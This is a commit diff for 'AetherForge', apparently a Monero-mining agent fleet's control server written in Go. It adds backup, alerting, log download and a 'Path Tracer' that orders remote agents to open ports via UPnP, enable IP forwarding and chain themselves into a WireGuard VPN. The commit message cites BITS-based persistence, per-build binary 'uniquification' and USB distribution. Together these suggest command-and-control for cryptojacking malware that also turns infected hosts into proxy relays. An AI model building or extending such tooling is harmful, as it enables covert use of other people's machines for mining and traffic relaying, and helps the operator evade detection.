feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
74
server/internal/api/backup_handler.go
Normal file
74
server/internal/api/backup_handler.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BackupHandler serves GET /api/v1/backup.
|
||||
// It returns a zip containing config.json, users.json, miner.db, and a
|
||||
// backup-info.txt with the timestamp and server version. The caller must
|
||||
// already be authenticated via basicAuthMiddleware (registered in router.go).
|
||||
type BackupHandler struct {
|
||||
dataDir string
|
||||
serverVersion string
|
||||
}
|
||||
|
||||
// NewBackupHandler creates a BackupHandler for the given data directory.
|
||||
func NewBackupHandler(dataDir, serverVersion string) *BackupHandler {
|
||||
return &BackupHandler{dataDir: dataDir, serverVersion: serverVersion}
|
||||
}
|
||||
|
||||
func (h *BackupHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
now := time.Now().UTC()
|
||||
dateTag := now.Format("2006-01-02")
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
|
||||
// backup-info.txt
|
||||
info := fmt.Sprintf("AetherForge Deck Backup\nTimestamp: %s\nVersion: %s\n",
|
||||
now.Format(time.RFC3339), h.serverVersion)
|
||||
if fw, err := zw.Create("backup-info.txt"); err == nil {
|
||||
_, _ = fw.Write([]byte(info))
|
||||
}
|
||||
|
||||
// Helper: add a file from disk into the zip, skip gracefully if missing.
|
||||
addFile := func(name, diskPath string) {
|
||||
data, err := os.ReadFile(diskPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
fw, err := zw.Create(name)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = fw.Write(data)
|
||||
}
|
||||
|
||||
addFile("config.json", filepath.Join(h.dataDir, "config.json"))
|
||||
addFile("users.json", filepath.Join(h.dataDir, "users.json"))
|
||||
addFile("miner.db", filepath.Join(h.dataDir, "miner.db"))
|
||||
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, "Failed to create backup zip", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := fmt.Sprintf("aetherforge-backup-%s.zip", dateTag)
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename))
|
||||
w.Header().Set("Content-Length", fmt.Sprintf("%d", buf.Len()))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(buf.Bytes())
|
||||
}
|
||||
@@ -8,6 +8,8 @@ import (
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -35,6 +37,7 @@ type FleetHandler struct {
|
||||
pools *pool.Manager
|
||||
alerts *alerts.Evaluator
|
||||
defaultPool pool.Config
|
||||
dataDir string
|
||||
|
||||
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
||||
xmrPriceMu sync.Mutex
|
||||
@@ -52,7 +55,7 @@ type poolEarningsCache struct {
|
||||
|
||||
const earningsCacheTTL = 5 * time.Minute
|
||||
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler {
|
||||
return &FleetHandler{
|
||||
db: database,
|
||||
ws: ws,
|
||||
@@ -60,6 +63,7 @@ func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *poo
|
||||
pools: pools,
|
||||
alerts: evaluator,
|
||||
defaultPool: defaultPool,
|
||||
dataDir: dataDir,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,6 +75,53 @@ func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, f.alerts.ActiveAlerts())
|
||||
}
|
||||
|
||||
// PostAlertTest fires a test notification on every configured channel and
|
||||
// returns per-channel results without raising a real fleet alert.
|
||||
func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) {
|
||||
const testMsg = "AetherForge test notification — alerts are configured correctly"
|
||||
|
||||
type channelResult struct {
|
||||
Sent bool `json:"sent"`
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
|
||||
result := map[string]channelResult{}
|
||||
|
||||
if f.alerts == nil {
|
||||
errStr := "alert evaluator not configured"
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
writeJSON(w, result)
|
||||
return
|
||||
}
|
||||
|
||||
cfg := f.alerts.GetNotifyConfig()
|
||||
|
||||
// Telegram
|
||||
if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" {
|
||||
errStr := "not configured"
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else if err := alerts.SendTelegram(cfg, testMsg); err != nil {
|
||||
errStr := err.Error()
|
||||
result["telegram"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else {
|
||||
result["telegram"] = channelResult{Sent: true}
|
||||
}
|
||||
|
||||
// SMTP
|
||||
if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" {
|
||||
errStr := "not configured"
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil {
|
||||
errStr := err.Error()
|
||||
result["smtp"] = channelResult{Sent: false, Error: &errStr}
|
||||
} else {
|
||||
result["smtp"] = channelResult{Sent: true}
|
||||
}
|
||||
|
||||
writeJSON(w, result)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
||||
if f.pools == nil {
|
||||
writeJSON(w, []pool.PoolStatus{})
|
||||
@@ -254,6 +305,23 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
// The dashboard will receive the log content via the commandResults queue.
|
||||
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
// If the in-memory buffer is empty, try the persisted log file on disk.
|
||||
if content == "" && f.dataDir != "" {
|
||||
logPath := filepath.Join(f.dataDir, "logs", id+".log")
|
||||
if data, err := os.ReadFile(logPath); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
}
|
||||
date := time.Now().UTC().Format("2006-01-02")
|
||||
filename := fmt.Sprintf("agent-%s-%s.log", id, date)
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
fmt.Fprint(w, content)
|
||||
return
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"agent_id": id,
|
||||
"content": content,
|
||||
|
||||
@@ -64,7 +64,7 @@ func newTestFleetHandler(t *testing.T) (*FleetHandler, *db.Database, *WSHub, *AI
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
ws := NewWSHub(database)
|
||||
ai := NewAIHandler(database)
|
||||
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{})
|
||||
fh := NewFleetHandler(database, ws, ai, nil, nil, pool.Config{}, "")
|
||||
return fh, database, ws, ai
|
||||
}
|
||||
|
||||
@@ -182,10 +182,10 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
||||
|
||||
evaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
|
||||
return alerts.Thresholds{OfflineMinutes: 5}
|
||||
}, func() alerts.NotifyConfig { return alerts.NotifyConfig{} }, nil)
|
||||
}, func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||
evaluator.RunOnce()
|
||||
|
||||
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{})
|
||||
fh := NewFleetHandler(database, NewWSHub(database), NewAIHandler(database), nil, evaluator, pool.Config{}, "")
|
||||
rec := httptest.NewRecorder()
|
||||
fh.GetAlerts(rec, httptest.NewRequest(http.MethodGet, "/alerts", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
@@ -200,6 +200,48 @@ func TestFleetGetAlertsWithEvaluator(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostAlertTestUnconfigured(t *testing.T) {
|
||||
evaluator := alerts.NewEvaluator(nil, func() alerts.Thresholds { return alerts.Thresholds{} },
|
||||
func() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{}, alerts.EventToggles{}) }, nil)
|
||||
fh := NewFleetHandler(nil, NewWSHub(nil), NewAIHandler(nil), nil, evaluator, pool.Config{}, "")
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]struct {
|
||||
Sent bool `json:"sent"`
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["telegram"].Sent || body["smtp"].Sent {
|
||||
t.Fatalf("expected no sends, got %+v", body)
|
||||
}
|
||||
if body["telegram"].Error == nil || *body["telegram"].Error != "not configured" {
|
||||
t.Fatalf("telegram: %+v", body["telegram"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetPostAlertTestNilEvaluator(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostAlertTest(rec, httptest.NewRequest(http.MethodPost, "/alerts/test", nil))
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var body map[string]struct {
|
||||
Error *string `json:"error"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["telegram"].Error == nil || *body["telegram"].Error != "alert evaluator not configured" {
|
||||
t.Fatalf("got %+v", body["telegram"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetGetPoolStatusNilManager(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
rec := httptest.NewRecorder()
|
||||
@@ -556,7 +598,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
||||
@@ -736,7 +778,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool, "")
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
||||
|
||||
@@ -4,12 +4,15 @@ import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
var serverStartTime = time.Now()
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
}
|
||||
@@ -100,6 +103,45 @@ func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
// GET /api/v1/server/ready
|
||||
// Requires auth (not in the basicAuthMiddleware bypass list).
|
||||
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
|
||||
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
|
||||
uptime := int64(time.Since(serverStartTime).Seconds())
|
||||
resp := map[string]interface{}{
|
||||
"status": "ok",
|
||||
"uptime_s": uptime,
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("verbose") != "1" {
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
|
||||
// DB ping
|
||||
dbStatus := "ok"
|
||||
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
|
||||
dbStatus = "error: " + err.Error()
|
||||
resp["status"] = "degraded"
|
||||
}
|
||||
resp["db"] = dbStatus
|
||||
|
||||
// Count online agents
|
||||
var onlineAgents int
|
||||
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
|
||||
onlineAgents = -1
|
||||
}
|
||||
resp["agents_online"] = onlineAgents
|
||||
|
||||
if resp["status"] == "degraded" {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(http.StatusServiceUnavailable)
|
||||
json.NewEncoder(w).Encode(resp)
|
||||
return
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// GET /api/v1/builds
|
||||
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
builds, err := h.db.ListBuilds(50)
|
||||
|
||||
@@ -68,7 +68,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
cfg := &mockConfigProvider{}
|
||||
configHandler := NewConfigHandler(cfg)
|
||||
aiHandler := NewAIHandler(database)
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
|
||||
455
server/internal/api/pathtracer_handler.go
Normal file
455
server/internal/api/pathtracer_handler.go
Normal file
@@ -0,0 +1,455 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"image/color"
|
||||
"image/png"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
qrcode "github.com/skip2/go-qrcode"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
// HopStatus tracks one agent's progress in a trace session.
|
||||
type HopStatus string
|
||||
|
||||
const (
|
||||
HopPending HopStatus = "pending"
|
||||
HopReady HopStatus = "ready"
|
||||
HopFailed HopStatus = "failed"
|
||||
)
|
||||
|
||||
// HopInfo records what we know about each hop in the chain.
|
||||
type HopInfo struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
AgentName string `json:"agent_name"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
Port int `json:"port"`
|
||||
PublicKey string `json:"public_key"`
|
||||
PrivateKey string `json:"-"` // never sent to client
|
||||
LocalAddr string `json:"local_addr"`
|
||||
Status HopStatus `json:"status"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// TraceSession holds all state for one active VPN session.
|
||||
type TraceSession struct {
|
||||
ID string `json:"id"`
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
Hops []*HopInfo `json:"hops"`
|
||||
Ready bool `json:"ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Client WireGuard keypair — used to build the QR config.
|
||||
clientPrivKey string
|
||||
clientPubKey string
|
||||
}
|
||||
|
||||
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||
type PathTracerHandler struct {
|
||||
hub *WSHub
|
||||
mu sync.Mutex
|
||||
sessions map[string]*TraceSession
|
||||
}
|
||||
|
||||
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||
return &PathTracerHandler{
|
||||
hub: hub,
|
||||
sessions: make(map[string]*TraceSession),
|
||||
}
|
||||
}
|
||||
|
||||
// ── HTTP handlers ─────────────────────────────────────────────────────────────
|
||||
|
||||
// POST /api/v1/pathtrace/start
|
||||
// Body: {"agent_ids": ["id1","id2",...]}
|
||||
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
AgentIDs []string `json:"agent_ids"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
|
||||
http.Error(w, "agent_ids required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(req.AgentIDs) > 3 {
|
||||
http.Error(w, "max 3 hops supported", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
clientPriv, clientPub, err := generateServerWGKeyPair()
|
||||
if err != nil {
|
||||
http.Error(w, "keygen failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
sess := &TraceSession{
|
||||
ID: uuid.New().String(),
|
||||
AgentIDs: req.AgentIDs,
|
||||
CreatedAt: time.Now(),
|
||||
clientPrivKey: clientPriv,
|
||||
clientPubKey: clientPub,
|
||||
}
|
||||
|
||||
// Build hops with placeholder names (agent name lookup below).
|
||||
for i, id := range req.AgentIDs {
|
||||
sess.Hops = append(sess.Hops, &HopInfo{
|
||||
AgentID: id,
|
||||
AgentName: fmt.Sprintf("hop-%d", i+1),
|
||||
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
|
||||
Port: 51820,
|
||||
Status: HopPending,
|
||||
})
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.sessions[sess.ID] = sess
|
||||
h.mu.Unlock()
|
||||
|
||||
// Orchestrate asynchronously so the HTTP response returns quickly.
|
||||
go h.orchestrate(sess)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/status
|
||||
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
sess := h.getSession(chi.URLParam(r, "id"))
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"ready": sess.Ready,
|
||||
"error": sess.Error,
|
||||
"hops": sess.Hops,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/pathtrace/{id}/qr
|
||||
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
|
||||
sess := h.getSession(chi.URLParam(r, "id"))
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
h.mu.Lock()
|
||||
ready := sess.Ready
|
||||
h.mu.Unlock()
|
||||
if !ready {
|
||||
http.Error(w, "session not ready yet", http.StatusAccepted)
|
||||
return
|
||||
}
|
||||
|
||||
cfg := h.buildClientConfig(sess)
|
||||
|
||||
// Return format: ?format=png → PNG image, default → JSON with text+png.
|
||||
if r.URL.Query().Get("format") == "png" {
|
||||
qr, err := qrcode.New(cfg, qrcode.High)
|
||||
if err != nil {
|
||||
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
qr.BackgroundColor = color.Black
|
||||
qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
|
||||
img := qr.Image(400)
|
||||
w.Header().Set("Content-Type", "image/png")
|
||||
_ = png.Encode(w, img)
|
||||
return
|
||||
}
|
||||
|
||||
qr, err := qrcode.Encode(cfg, qrcode.High, 300)
|
||||
if err != nil {
|
||||
http.Error(w, "qr generation failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"config": cfg,
|
||||
"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
|
||||
})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/pathtrace/{id}
|
||||
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
sess := h.getSession(id)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
// Tell all agents to tear down.
|
||||
for _, hop := range sess.Hops {
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||
})
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
delete(h.sessions, id)
|
||||
h.mu.Unlock()
|
||||
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
||||
log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))
|
||||
|
||||
// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
|
||||
type setupResp struct {
|
||||
hop *HopInfo
|
||||
pub string
|
||||
ip string
|
||||
port int
|
||||
err string
|
||||
}
|
||||
results := make(chan setupResp, len(sess.Hops))
|
||||
|
||||
for _, hop := range sess.Hops {
|
||||
hop := hop
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
|
||||
err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
|
||||
})
|
||||
if err != nil {
|
||||
h.hub.CancelAwait(hop.AgentID, "wg_setup")
|
||||
results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||
continue
|
||||
}
|
||||
go func() {
|
||||
select {
|
||||
case payload := <-ch:
|
||||
msgStr, _ := payload["message"].(string)
|
||||
// message is JSON-encoded WGSetupResult
|
||||
var res struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
ExternalPort int `json:"external_port"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
|
||||
results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
|
||||
return
|
||||
}
|
||||
if res.Error != "" {
|
||||
results <- setupResp{hop: hop, err: res.Error}
|
||||
return
|
||||
}
|
||||
p := res.ExternalPort
|
||||
if p == 0 {
|
||||
p = 51820
|
||||
}
|
||||
// If UPnP failed, fall back to the IP the server saw.
|
||||
ip := res.ExternalIP
|
||||
if ip == "" {
|
||||
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
||||
ip = hop.ExternalIP // pre-filled below
|
||||
}
|
||||
}
|
||||
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||
case <-time.After(20 * time.Second):
|
||||
results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Collect Phase 1 results.
|
||||
for range sess.Hops {
|
||||
r := <-results
|
||||
h.mu.Lock()
|
||||
if r.err != "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
|
||||
} else {
|
||||
r.hop.PublicKey = r.pub
|
||||
r.hop.ExternalIP = r.ip
|
||||
r.hop.Port = r.port
|
||||
r.hop.Status = HopReady
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// If any hop failed at setup, abort.
|
||||
h.mu.Lock()
|
||||
anyFailed := false
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.Status == HopFailed {
|
||||
anyFailed = true
|
||||
break
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
if anyFailed {
|
||||
log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
|
||||
return
|
||||
}
|
||||
|
||||
// Phase 2: send wg_configure to each hop.
|
||||
// Build per-hop configs:
|
||||
// - Last hop: peer = none (it's the exit), just IP forwarding
|
||||
// - Middle hops: peer = next hop
|
||||
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
||||
//
|
||||
// The CLIENT config always points to the FIRST hop.
|
||||
|
||||
type cfgResp struct {
|
||||
hop *HopInfo
|
||||
err string
|
||||
}
|
||||
cfgResults := make(chan cfgResp, len(sess.Hops))
|
||||
|
||||
for i, hop := range sess.Hops {
|
||||
hop := hop
|
||||
i := i
|
||||
|
||||
payload := map[string]interface{}{
|
||||
"session_id": sess.ID,
|
||||
"private_key": "", // agent uses its own generated key
|
||||
"local_address": hop.LocalAddr,
|
||||
"listen_port": hop.Port,
|
||||
"enable_ip_forwarding": true,
|
||||
}
|
||||
|
||||
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
||||
if i < len(sess.Hops)-1 {
|
||||
nextHop := sess.Hops[i+1]
|
||||
payload["peers"] = []map[string]interface{}{
|
||||
{
|
||||
"public_key": nextHop.PublicKey,
|
||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||
"allowed_ips": "0.0.0.0/0",
|
||||
"persistent_keepalive": 25,
|
||||
},
|
||||
}
|
||||
} else {
|
||||
payload["peers"] = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
dataJSON, _ := json.Marshal(payload)
|
||||
|
||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||
Type: "command",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure",
|
||||
"data": string(dataJSON),
|
||||
}),
|
||||
})
|
||||
|
||||
go func() {
|
||||
select {
|
||||
case p := <-ch:
|
||||
success, _ := p["success"].(bool)
|
||||
if !success {
|
||||
msg, _ := p["message"].(string)
|
||||
cfgResults <- cfgResp{hop: hop, err: msg}
|
||||
return
|
||||
}
|
||||
cfgResults <- cfgResp{hop: hop}
|
||||
case <-time.After(60 * time.Second):
|
||||
cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
for range sess.Hops {
|
||||
r := <-cfgResults
|
||||
h.mu.Lock()
|
||||
if r.err != "" {
|
||||
r.hop.Status = HopFailed
|
||||
r.hop.Error = r.err
|
||||
if sess.Error == "" {
|
||||
sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
allReady := true
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.Status != HopReady {
|
||||
allReady = false
|
||||
}
|
||||
}
|
||||
if allReady {
|
||||
sess.Ready = true
|
||||
}
|
||||
h.mu.Unlock()
|
||||
|
||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||
}
|
||||
|
||||
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||
h.mu.Lock()
|
||||
defer h.mu.Unlock()
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[Interface]\n")
|
||||
sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
|
||||
sb.WriteString("Address = 10.66.0.1/24\n")
|
||||
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||
|
||||
// Phone always connects to the first hop.
|
||||
first := sess.Hops[0]
|
||||
sb.WriteString("[Peer]\n")
|
||||
sb.WriteString("PublicKey = " + first.PublicKey + "\n")
|
||||
sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
|
||||
sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
|
||||
